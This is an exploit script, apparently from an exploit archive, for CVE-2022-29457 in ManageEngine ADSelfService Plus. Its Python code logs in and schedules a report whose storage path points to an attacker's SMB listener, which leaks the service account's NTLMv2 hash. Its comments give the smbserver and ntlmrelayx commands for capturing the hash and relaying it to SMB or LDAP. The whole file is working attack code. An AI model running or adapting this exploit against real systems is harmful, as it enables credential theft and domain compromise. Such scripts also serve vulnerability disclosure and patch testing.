# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457
# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys
"""
1-
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support
b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET
c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET
2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_args():
parser = argparse.ArgumentParser(
epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
parser.add_argument('-u', '--user', required=True, action='store')
parser.add_argument('-p', '--password', required=True, action='store')
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
args = parser.parse_args()
return args
def scheduler(domain, auth, target, listener, user, password):
try:
with requests.Session() as s:
gUrl = target
getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
csrf = getCsrf.cookies['_zcsr_tmp']
print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
if auth.lower() == 'adselfservice':
auth = "ADSelfService Plus Authentication"
data = {
"loginName": user,
"domainName": auth,
"j_username": user,
"j_password": password,
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": [csrf, csrf]
}
#Login
url = target + "j_security_check"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
#Auth Check
url2 = target + "webclient/index.html"
req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
if req2.status_code == 200:
print("[+] Authentication is successful.")
elif req2.status_code == 302:
print("[-] Login failed.")
sys.exit(1)
else:
print("[-] Something went wrong")
sys.exit(1)
dn = domain.split(".")
r1 = random.randint(1, 1000)
surl = target + 'ServletAPI/Reports/saveReportScheduler'
data = {
'SCHEDULE_ID':'0',
'ADMIN_STATUS':'3',
'SCHEDULE_NAME': 'enrollment' + str(r1),
'DOMAINS': '["'+ domain +'"]',
'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
'SELECTED_REPORTS': '104,105',
'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
'SCHEDULE_TYPE': 'hourly',
'TIME_OF_DAY': '0',
'MINS_OF_HOUR': '5',
'EMAIL_ID': user +'@'+ domain,
'NOTIFY_ADMIN': 'true',
'NOTIFY_MANAGER': 'false',
'STORAGE_PATH': '\\\\' + listener + '\\share',
'FILE_FORMAT': 'HTML',
'ATTACHMENT_TYPE': 'FILE',
'ADMIN_MAIL_PRIORITY': 'Medium',
'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
'MANAGER_FILE_FORMAT': 'HTML',
'MANAGER_ATTACHMENT_TYPE': 'FILE',
'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
'adscsrf': csrf
}
sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
print('[-] The target is patched!')
sys.exit(1)
if sch.status_code == 200:
print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
else:
print("[-] Something went wrong. Please, try it manually!")
sys.exit(1)
except:
print('[-] Connection error!')
def main():
arg = get_args()
domain = arg.domain
auth = arg.auth
user = arg.user
password = arg.password
target = arg.target
listener = arg.listener
scheduler(domain, auth, target, listener, user, password)
if __name__ == "__main__":
main()